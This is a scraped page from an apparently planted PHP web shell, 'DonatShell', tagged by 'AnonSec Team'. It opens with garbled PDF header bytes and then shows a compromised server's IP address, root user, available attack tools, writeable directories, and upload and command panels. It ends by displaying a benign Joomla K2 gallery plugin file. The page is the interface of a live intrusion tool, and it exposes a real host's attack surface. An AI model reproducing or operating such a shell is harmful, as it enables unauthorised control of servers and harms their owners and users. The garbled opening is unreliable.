%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11585/cwd/html/old/plugins/k2/jw_sigpro/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11585/cwd/html/old/plugins/k2/jw_sigpro/jw_sigpro.php
<?php
/**
 * @version		$Id: jw_sigpro.php 2725 2013-04-06 17:05:49Z joomlaworks $
 * @package		Simple Image Gallery Pro
 * @author		JoomlaWorks - http://www.joomlaworks.net
 * @copyright	Copyright (c) 2006 - 2013 JoomlaWorks Ltd. All rights reserved.
 * @license		http://www.joomlaworks.net/license
 */

// no direct access
defined('_JEXEC') or die ;

JLoader::register('K2Plugin', JPATH_ADMINISTRATOR.'/components/com_k2/lib/k2plugin.php');

class plgK2Jw_SigPro extends K2Plugin
{

	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);
		$this->pluginName = 'jw_sigpro';
		$this->loadLanguage();
	}

	function onAfterK2Save(&$item, $isNew)
	{
		jimport('joomla.filesystem.folder');
		JLoader::register('SigProHelper', JPATH_ADMINISTRATOR.'/components/com_sigpro/helper.php');
		$path = SigProHelper::getPath('k2');
		$folder = JRequest::getCmd('sigProFolder');
		if ($isNew && $folder && $folder != $item->id && JFolder::exists($path.'/'.$folder))
		{
			JFolder::move($path.'/'.$folder, $path.'/'.$item->id);
		}
		if (JFolder::exists($path.'/'.$item->id) && $item->gallery == null)
		{
			$item->gallery = '{gallery}'.$item->id.'{/gallery}';
			$item->store();
		}
	}

}

Anon7 - 2022
AnonSec Team